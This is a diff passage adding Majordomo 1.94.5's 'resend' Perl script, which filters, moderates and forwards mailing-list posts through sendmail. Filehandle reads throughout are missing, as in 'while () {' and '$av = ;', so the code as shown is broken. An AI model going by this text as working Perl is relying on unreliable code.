&config'substitute_values($opt_r), "\n"; #'; + } + + # print out per-list additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l);#'; + $headers =~ s/\001|$/\n/g; + print OUT $headers; + } + print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG; + + " $gonna_bounce "; +} + +# Meander through the message body, checking for +# administravia, taboo stuff, and excessive length. +# +sub parse_body { + local($body_line_count, $body_len) = 0; + local($gonna_bounce); + + print STDERR "$0: parse_body: enter\n" if $DEBUG; + + while () { + $body_line_count++; + $body_len += length($_); + + # check for administravia in the first 10 lines of the body + # if so told and not approved. + if ($body_line_count < 10 + && defined($opt_s) + && !defined($approved) + && eval $is_admin_body) { + $gonna_bounce .= + " Admin request of type $taboo at line $body_line_count "; + next; + } + + # if not approved, check for taboo body stuff + # and message length + # + if ( !defined($approved)) { + + if ( $#taboo_body >= $[ + && eval $is_taboo_body) { + $gonna_bounce .= + " taboo body match \"$taboo\" at line $body_line_count "; + next; + } + + if ($#global_taboo_body >= $[ + && eval $is_global_taboo_body) { + $gonna_bounce .= + " global taboo body match \"$taboo\" " . + "at line $body_line_count "; + next; + } + + # make sure it doesn't make the message too long + if (defined($opt_M) + && $body_len > $opt_M + && !$already_bitched_about_length) { + $already_bitched_about_length++; + print STDERR "$0: parse_body: message too long\n" if $DEBUG; + $gonna_bounce .= " Message too long (>$opt_M chars) "; + next; + } + } + print OUT $_; + } # while + print STDERR "$0: parse_body: exiting with '$gonna_bounce'\n" + if $DEBUG; + + " $gonna_bounce "; +} + + + +sub check_balance { + print STDERR "$0: check_balance: enter: $_\n" if $DEBUG; + # set a temporary variable + local($t) = shift; + # Remove quoted material + # ( looks like lisp, don't it? ) + 1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/$1/g; #" + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + print STDERR "$0: check_hdr_line: enter: $_\n" if $DEBUG; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > $MAX_HEADER_LINE_LENGTH) && ! defined($approved)) { + &bounce("Header line too long (>$MAX_HEADER_LINE_LENGTH)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > $MAX_TOTAL_HEADER_LENGTH) && ! defined($approved)) { + &bounce("Header field too long (>$MAX_TOTAL_HEADER_LENGTH)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local(*BOUNCE); + local($reason) = shift; + local($_); + + print STDERR "$0: bounce enter\n" if $DEBUG; + + &send_bounce(BOUNCE, + (( $config_opts{$opt_l, 'moderator'} ne "") ? + $config_opts{$opt_l, 'moderator'} : "$opt_l-approval\@$whereami"), + "BOUNCE $opt_l\@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + + print STDERR "$0: bounce exiting\n" if $DEBUG; + + exit(0); +} + +sub send_bounce { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($isParent); + local($mailcmd); + + if (defined $bounce_mailer) { + # The eval expands embedded variables like $sender + $mailcmd = eval qq/"$bounce_mailer"/; + } + else { + # Painful, but we have to provide some kind of backwards + # compatibility and this is what 1.93 used + $mailcmd = "/usr/lib/sendmail -f$sender -t"; + } + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> $mailcmd\n"; + } else { + if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; + } else { + &abort("Failed to fork prior to mailer exec"); + } + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/update/scripts/packages/majordomo-1.94.5/resend.orig b/update/scripts/packages/majordomo-1.94.5/resend.orig new file mode 100644 index 0000000..4ffce5a --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/resend.orig @@ -0,0 +1,969 @@ +#!/bin/perl +# $Modified: Fri Jan 7 16:32:17 2000 by cwilson $ + +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/resend,v $ +# $Revision: 1.90 $ +# $Date: 2000/01/07 15:32:39 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# Okay, resend accepts many command line arguments, as revealed by the +# Getopts call: +# &Getopts("Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); +# Most of these are defined via the list config file, so in general, +# it's a really bad idea to hardcode them in the alias definition. +# In a future version of majordomo, these will likely all be removed. +# +# Here's a description of them, just to be documentive. Note that the +# only REQUIRED option is -l. Even that will probably go away in the future. +# +# -l REQUIRED: specify list name +# -h specify host name +# -f specify "sender" (default -request) +# -M specify max message length to forward +# -p add "Precedence: " header +# -r add "Reply-To: " header +# -I Bounce messages from users not listed in file +# in colon-separated +# -a approval password +# -A moderate list (require "Approved:" for posting) +# -R delete "Received:" lines +# -s enable "administrivia" checks +# -d debug; say it, but don't do it +# -C alternate config file +# + +#$DEBUG = 1; + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am resend +# The mj_ prefix is reserved for tools that are part of majordomo proper. +# (not that anything uses this variable.) +$main'program_name = 'mj_resend'; #'; + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() +# +if ($ARGV[0] =~ /^\@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, "< $fn" ) || die("open(AV, \"< $fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Parse arguments here. We do this first so that we can conditionally +# evaluate code in majordomo.cf based on $opt_l (or any other command line +# argument). Here I've assumed that perl was installed correctly and +# getopts.pl was place where it's supposed to be. This changes previous +# behavior which allowed getopts.pl to be in the same place as +# majordomo.cf. +require "getopts.pl"; +&Getopts("C:c:Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); + +if (! defined($opt_l)) { + die("resend: must specify '-l list'"); +} + +# Read and execute the .cf file +$cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +# Despite not having a place to send the remains of the body, +# it would be nice to send a message to root or postmaster, at least... +# +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); + +unshift(@INC, $homedir); +require "ctime.pl"; # For logging purposes +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; + +# pickup hostname from majordomo.cf unless defined on the command line +$opt_h = $opt_h || $whereami; + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +# We must set up the mailers and logging as soon possible so that we can +# send and log complaints and aborts somewhere. Unfortunately we need to +# parse the config file to get some of the variables. So we fake it here, +# and set them properly later. +# XXX It is possible that owner-$opt_l won't be the right address, but we +# have little choice. Sending the bounces to $whoami_owner is an option, +# but might not clearly indicate the list name. +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_mail_from("owner-$opt_l"); +&set_mail_sender("owner-$opt_l"); +&set_mailer($bounce_mailer); +&set_abort_addr("owner-$opt_l"); +&set_log($log, $opt_h, "resend", $opt_l); + +if (! defined ($TMPDIR)) { + &bitch("\$TMPDIR wasn't defined in $cf. Using /usr/tmp instead.\n". + "Please define in $cf.\n"); + $TMPDIR = '/usr/tmp'; +} + +# if we're running from a tty, just spit to stderr, else +# open up a temp file for the debug output. +# +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/resend.debug"); +} + +# XXX some standard way of setting defaults needs to be done.. +# +$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128; +$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024; + +print STDERR "$0 [$$]: starting.\n" if $DEBUG; + +if ( ! @ARGV) { + die("resend: must specify outgoing list as last arg(s)"); + # this doesn't have to be this way. It could slurp it + # from the alias it was invoked as...? +} + +# A classic case of feeping creaturism. While there are possibly good reasons +# why all these things can be classified on the command line, there's +# *NO* good reason why everything is "opt_X". YATTF. +# +$opt_r = "$opt_r\@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +# Construct the envelope sender for outbound messages +if (defined($opt_f)) { + $sender = $opt_f; +} else { + $sender = "$opt_l-request"; +} + +# If the sender doesn't contain an `@', tack on one, followed by the +# hostname +if ($sender !~ /\@/) { + $sender .= "\@$opt_h"; +} + +# We can now properly define some of the mailer properties. +&set_mail_from($sender); +&set_mail_sender($sender); +&set_abort_addr($sender); +&set_log($log, $opt_h, "resend", $opt_l); + +if (defined($opt_A) && ! defined($opt_a)) { + die("resend: must also specify '-a passwd' if using '-A' flag"); +} + + +# +# These are headers to skip +# +$skip_headers = '/^from /i' . + '|| /^x-confirm-reading-to:/i' . # pegasus mail (windoze) + '|| /^disposition-notification-to:/i' . # eudora + '|| /^x-ack:/i' . + '|| /^sender:/i' . + '|| /^return-receipt-to:/i' . + '|| /^errors-to:/i' . + '|| /^flags:/i' . + '|| /^resent-/i' . + '|| /^priority/i' . + '|| /^x-pmrqc:/i' . + '|| /^return-path:/i' . + '|| /^encoding:/i' # could munge the length of the message + ; + +# +# Define the eval's used to catch "taboo" headers, message contents, +# and administrative headers. The taboo headers can be global +# or per list. The administrative headers are global. +# +# The eval is a construct like so: +# foo: { /^subject:\s*subscribe/ && ( $taboo = '/^subject:\s*subscribe/', last foo); } +# so that the eval returns the regexp that matched. +# + +print STDERR "$0: defining evals to catch the bad stuff.\n" if $DEBUG; + +if ($config_opts{$opt_l, 'taboo_headers'} ne '') { + @taboo_headers = split(/\001/,$config_opts{$opt_l, 'taboo_headers'}); + if ($#taboo_headers >= $[) { + $is_taboo_header = "foo: {\n"; + foreach $t (@taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if ($config_opts{$opt_l, 'taboo_body'} ne '') { + @taboo_body = split(/\001/,$config_opts{$opt_l, 'taboo_body'}); + if ($#taboo_body >= $[) { + $is_taboo_body = "foo: {\n"; + foreach $t (@taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_headers)) { + @global_taboo_headers = split(/\n/,$global_taboo_headers); + if ($#global_taboo_headers >= $[) { + $is_global_taboo_header = "foo: {\n"; + foreach $t (@global_taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_body)) { + @global_taboo_body = split(/\n/,$global_taboo_body); + if ($#global_taboo_body >= $[) { + $is_global_taboo_body = "foo: {\n"; + foreach $t (@global_taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} +#"; dammit. + +# admin subject checks. Since $admin_headers is defined in $cf +# (majordomo.cf), an upgrade may not have $admin_headers. +# Bitch about it if so. +# +if (! defined($admin_headers)) { + &bitch("resend: \$admin_headers not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the subject field...\n"); + @admin_headers = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_headers = split(/\n/, $admin_headers); +} + +$is_admin_header = "foo: {\n"; +foreach $t (@admin_headers) { + $is_admin_header .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + +# Body Check! +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administravia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +# $admin_body should be defined in the $cf file, but an upgrade +# may miss this fact. Bitch about it, and use a minimal list if so. +# +if (! defined($admin_body)) { + &bitch("resend: \$admin_body not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the body.\nLook at $homedir/sample.cf for a good definition."); + @admin_body = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_body = split(/\n/, $admin_body); +} + +$is_admin_body = "foo: {\n"; +foreach $t (@admin_body) { + $is_admin_body .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + + +print STDERR "$0: caching the message.\n" if $DEBUG; + +# +# cache the message, so the parent sendmail process can exit. +# +&open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + +&open_temp(IN, "$TMPDIR/resend.$$.in") || + &abort("resend: Can't open $TMPDIR/resend.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "$TMPDIR/resend.$$.in") || + die("resend: Can't open $TMPDIR/resend.$$.tmp: $!"); + +# +# Message parsing starts here +# + +print STDERR "$0: parsing header.\n" if $DEBUG; + +# parse the header for bad lines, etc. We'll bounce in a moment. +# +$result = &parse_header; + +# The first line of the body could hold an approved line. Let's check. +# +$_ = ; + +if (/^approved:\s*(.*)/i # aha! + && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { #Augh!')){ + $result .= " Invalid 'Approved:' header"; + undef $approved; + } + # The Approved: line is valid + # Look at the next line: + $_ = ; + if (/\S/) { + # We have something other than a blank line. We _assume_ it's + # header. Consequences: if it's not a header, things get screwed + # badly. If we reverse the logic and look instead for something + # header-like, we permit the possibility of the moderator leaving + # out the blank line, which is not a good idea because they might + # get used to it, which will bite them when they approve a message + # starting something that looks like a header. + # XXX Options: complain if we find no blank line and no header-like + # stuff. + close OUT; # Nuke the output so far. + unlink "$TMPDIR/resend.$$.out"; # XXX These filenames should be in + # variables. + # Open a new temp file. + &open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + + # We'll be nice and skip a From_ mailbox separator, which just + # might have been quoted by some intervening mail munger. + if (!/^>?From /) { + # Rewind back over the header line we just pulled + seek(IN, - length($_), 1); + } + + # Parse the following as a completely new message. + $result .= &parse_header; # The return value won't matter; we're + # approved. + + } + # else the line was blank; we let it be eaten and continue + +} else { + # No approved line, dniwer + seek(IN, - length($_), 1); +} + +print STDERR "$0: checking for valid sender.\n" if $DEBUG; + +# Check for a valid sender, if the list has restrict_post set +# and the message isn't approved. +# +# aauuuugggh! 'moderator' != 'restrict_post' !! They should be the +# same!! +# +$result .= &check_sender if ( defined( $opt_I ) && ! defined ($approved)); + +# If approval is required, and we haven't got it, boing it goes.. +# +$result = "Approval required: $result" if + (defined($opt_A) && ! defined($approved)); + +print STDERR "$0: sender check: '$result'\n" if $DEBUG; + +# Print the RFC822 separator +print OUT "\n"; + +# Print out any message_fronters +# +if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l);#'; + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; +} + +# We are guaranteed to be just after a blank line now. Slurp the body +$result .= &parse_body; + +# Yes Tigger, *now* you can bounce. We've checked for +# any Approved headers & lines, taboo_headers, and taboo_bodies +&bounce($result) if ( $result =~ /\S/ && ! defined($approved)); + +# Print out any message_footers +# +print STDERR "$0: adding any footers.\n" if $DEBUG; + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = + &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); #' + $footer =~ s/\001|$/\n/g; + print OUT $footer; +} + +# Finished munging the message and decided it's valid, now send it out. +# +close OUT; + +# The following eval expands embedded variables like $sender +$sendmail_cmd = eval qq/"$mailer"/; +$sendmail_cmd .= " " . join(" ", @ARGV); + +# check for the dreaded -t option to sendmail, which will cause +# mail to loop 26 times... +# +if ($sendmail_cmd =~ /sendmail/ && $sendmail_cmd =~ /\s-t/) { + $sendmail_cmd =~ s/-t//; + &bitch("resend: \$sendmail_cmd (aka \$mailer in majordomo.cf\n" . + "had a -t option. This will cause mail to loop 26 times.\n" . + "Since this probably isn't what you want to have happen,\n". + "resend has not passed that option to sendmail.\n"); +} + +print STDERR "$0: \$sendmail_cmd is $sendmail_cmd\n" if $DEBUG; + +# To debug or not debug, that is the question. +# +if (defined($opt_d)) { + $| = 1; + $, = ' '; + print STDERR "Command: $sendmail_cmd\n"; + open (IN, "$TMPDIR/resend.$$.out"); + while () { + print STDERR $_; + } + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + exit(0); +} + +# open the mailer +# +local(*MAILOUT, *MAILIN); +if (defined($isParent = open(MAILOUT, "|-"))) { + &do_exec_sendmail(split(' ', $sendmail_cmd)) + unless $isParent; # only if we're in the child +} else { + &abort("Failed to fork prior to mailer exec"); +} + +# open our tmp file +# +open(MAILIN, "$TMPDIR/resend.$$.out"); + +# spit it out! +# +while () { + print MAILOUT $_; +} + +# cleanup +# +close(MAILIN); +unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!"); +close(MAILOUT) || do { + $? >>= 8; + &abort("Mailer $sendmail_cmd exited unexpectedly with error $?") + unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER); +}; + +# Seeya. +# +exit(0); + + +###################################################################### +# +# Subroutines. +# +###################################################################### + +# check for a valid sender for moderated lists. +# +sub check_sender { + # Uh, who? + return " This may be hard to believe, but there was no \"From:\" field" . + "in this message I just received. I'm not gonna send it out, " . + "but you can... " if ! defined($from); + + local($file) = 0; + + # !@$#% cryptic variables. opt_I is restrict_post, which is a colon + # or whitespace seperated list of files that can contain valid + # senders. + # [[[ Scary, I just realized that !@$#% is almost valid perl... ]]] + local(@files) = split (/[:\s]+/, $opt_I); + + foreach $file (@files) { + # Return a null message if the sender (from the From: or + # Reply-To: headers) is found + # + return "" if &is_list_member($from, $listdir, $opt_l, $file) || + (defined $reply_to && + $reply_to ne $from && + &is_list_member($reply_to, $listdir, $opt_l, $file)); + } + + # We only get here if nothing matches. + # + " Non-member submission from [$from] "; +} + +# +# parse_header. +# Slurp in the header, checking for bad things. Returns a non-zero length string if +# a taboo or administrative header is found. +# +# [[[ Why couldn't one simply slurp the header in, assign it to an +# assoc. array, and print out everything but the bad stuff? ]]] +# + +sub parse_header { + local($gonna_bounce); + local($kept_last) = 0; # our return flag/string. + + print STDERR "$0: parse_header: enter.\n" if $DEBUG; + print STDERR "$0: parse_header: taboo_headers = $is_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: global_taboo_headers = $is_global_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: admin_headers = $is_admin_header\n" if $DEBUG; + + + while () { + print STDERR "$0: parse_header: [$.: $_]" if $DEBUG; + + last if /^$/; # stop when we hit the end. RFC822. + next unless /\S/; # skip leading blank lines; usually only + # there if this is a restart after an + # in-body "Approved:" line + + print STDERR "$0: parse_header: [$.] taboo_header check\n" + if $DEBUG; + # check for taboo_headers or approved header + # + if ($#taboo_headers >= $[ && !$approved && + eval $is_taboo_header) { + $gonna_bounce .= "taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: taboo_header error $@\n"; + } + + if ($#global_taboo_headers >= $[ && !$approved && + eval $is_global_taboo_header) { + $gonna_bounce .= "global taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: global_taboo_header error $@\n"; + } + + + # check for administative headers: + # Usually subscribe, unsubscribe, etc, in Subject field + # + print STDERR "$0: parse_header: [$.] administrative_header check\n" + if $DEBUG; + + if ($#admin_headers >= $[ && !$approved && defined($opt_s) && + eval $is_admin_header) { + $gonna_bounce .= "Admin request: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + print STDERR "$0: parse_header: Approved check\n" if $DEBUG; + + # Check for Approved line + # + # Oddly enough, we may already be approved when we get here. In + # that case, we should nuke any extra Approved: headers we see. + # Why? Well, consider this: you change the password, but send an + # approved message out before the config change takes effect. So + # it bounces back to you with the Approved: line in it. This line + # is now valid. You approve the bounce using the cut-and-paste + # method, putting another Approved: line in front of the headers of + # the raw bounced message and send it off. There are now two + # Approved: headers. If we don't remove the Approved: header from + # the headers of the message you pasted, we've revealed your list + # password. + + if (/^approved:\s*(.*)/i && defined($opt_a)) { + if (!$approved) { + print STDERR "$0: parse_header: found an approved header\n" if $DEBUG; + $approved = &chop_nl($1); + if ($approved ne $opt_a # check the p/w given against approve_passwd + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ') + if (defined($opt_A)) { # bounce only if list is moderated + $gonna_bounce .= "Invalid 'Approved:' header "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + undef $approved; + } else { + # reset the bounce counter, so that we return cleanly. + # this allows a message with a taboo_header or admin_header + # but with a valid Approved line to be posted. + $gonna_bounce = ''; + next; # gotta remove that approved line, dontcha know + } + } + else { + # We have already been approved, so skip this header + next; + } + } + + print STDERR "$0: parse_header: skipping headers\n" if $DEBUG; + # skip all these headers + if (eval $skip_headers) { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # skip these special headers + if ((/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^\s/ && ! $kept_last)) # skip if skipped last + { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # reset $kept_last in case next line is continuation + # this should go someplace now... but where? + print STDERR "$0: kept\n" if $DEBUG; + $kept_last = 1; + + + # prepend subject prefix + # + if ( (/^subject:\s*/i) + && ($config_opts{$opt_l,"subject_prefix"} ne '')) { + + print STDERR "$0: parse_header: adding subject prefix\n" if $DEBUG; + local($foo) = &config'substitute_values($config_opts{$opt_l,"subject_prefix"}, $opt_l);#'; + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:[^\S\n]*/Subject: $foo /i if !/$foo_pat/; + } + + # snag reply-to field + # + $reply_to = $1 if /^reply-to:\s*(.+)/i; + + # snag from line + # + if ( /^from:\s*(.+)/i ) { + $from = $1; + $from_last = 1; # the from line can span lines + } + elsif ( defined($from_last) ) { + if ( /^\s+(.+)/ ) { + $from .= " $1"; + } else { + undef($from_last); + } + } + +# Virtual Majordomo Hack +# s/^to:(.*)\b$opt_l\b(.*)$/To:$1 $opt_l\@$whereami $2/i ; + + &check_hdr_line($_); # check for length & balance on from, cc, and to fields. + print OUT $_; + } + + # finished with the header. + # Now, we aren't going to bounce yet, even if it looks bad, + # because we allow an Approved line as the _first_ line in the *body*. + # + # return $gonna_bounce if length($gonna_bounce); + + + print STDERR "$0: parse_header: adding header fields\n" + if $DEBUG; + + # add new header fields + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), "\n"; #'; + } + + # print out per-list additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l);#'; + $headers =~ s/\001|$/\n/g; + print OUT $headers; + } + print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG; + + " $gonna_bounce "; +} + +# Meander through the message body, checking for +# administravia, taboo stuff, and excessive length. +# +sub parse_body { + local($body_line_count, $body_len) = 0; + local($gonna_bounce); + + print STDERR "$0: parse_body: enter\n" if $DEBUG; + + while () { + $body_line_count++; + $body_len += length($_); + + # check for administravia in the first 10 lines of the body + # if so told and not approved. + if ($body_line_count < 10 + && defined($opt_s) + && !defined($approved) + && eval $is_admin_body) { + $gonna_bounce .= + " Admin request of type $taboo at line $body_line_count "; + next; + } + + # if not approved, check for taboo body stuff + # and message length + # + if ( !defined($approved)) { + + if ( $#taboo_body >= $[ + && eval $is_taboo_body) { + $gonna_bounce .= + " taboo body match \"$taboo\" at line $body_line_count "; + next; + } + + if ($#global_taboo_body >= $[ + && eval $is_global_taboo_body) { + $gonna_bounce .= + " global taboo body match \"$taboo\" " . + "at line $body_line_count "; + next; + } + + # make sure it doesn't make the message too long + if (defined($opt_M) + && $body_len > $opt_M + && !$already_bitched_about_length) { + $already_bitched_about_length++; + print STDERR "$0: parse_body: message too long\n" if $DEBUG; + $gonna_bounce .= " Message too long (>$opt_M chars) "; + next; + } + } + print OUT $_; + } # while + print STDERR "$0: parse_body: exiting with '$gonna_bounce'\n" + if $DEBUG; + + " $gonna_bounce "; +} + + + +sub check_balance { + print STDERR "$0: check_balance: enter: $_\n" if $DEBUG; + # set a temporary variable + local($t) = shift; + # Remove quoted material + # ( looks like lisp, don't it? ) + 1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/$1/g; #" + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + print STDERR "$0: check_hdr_line: enter: $_\n" if $DEBUG; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > $MAX_HEADER_LINE_LENGTH) && ! defined($approved)) { + &bounce("Header line too long (>$MAX_HEADER_LINE_LENGTH)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > 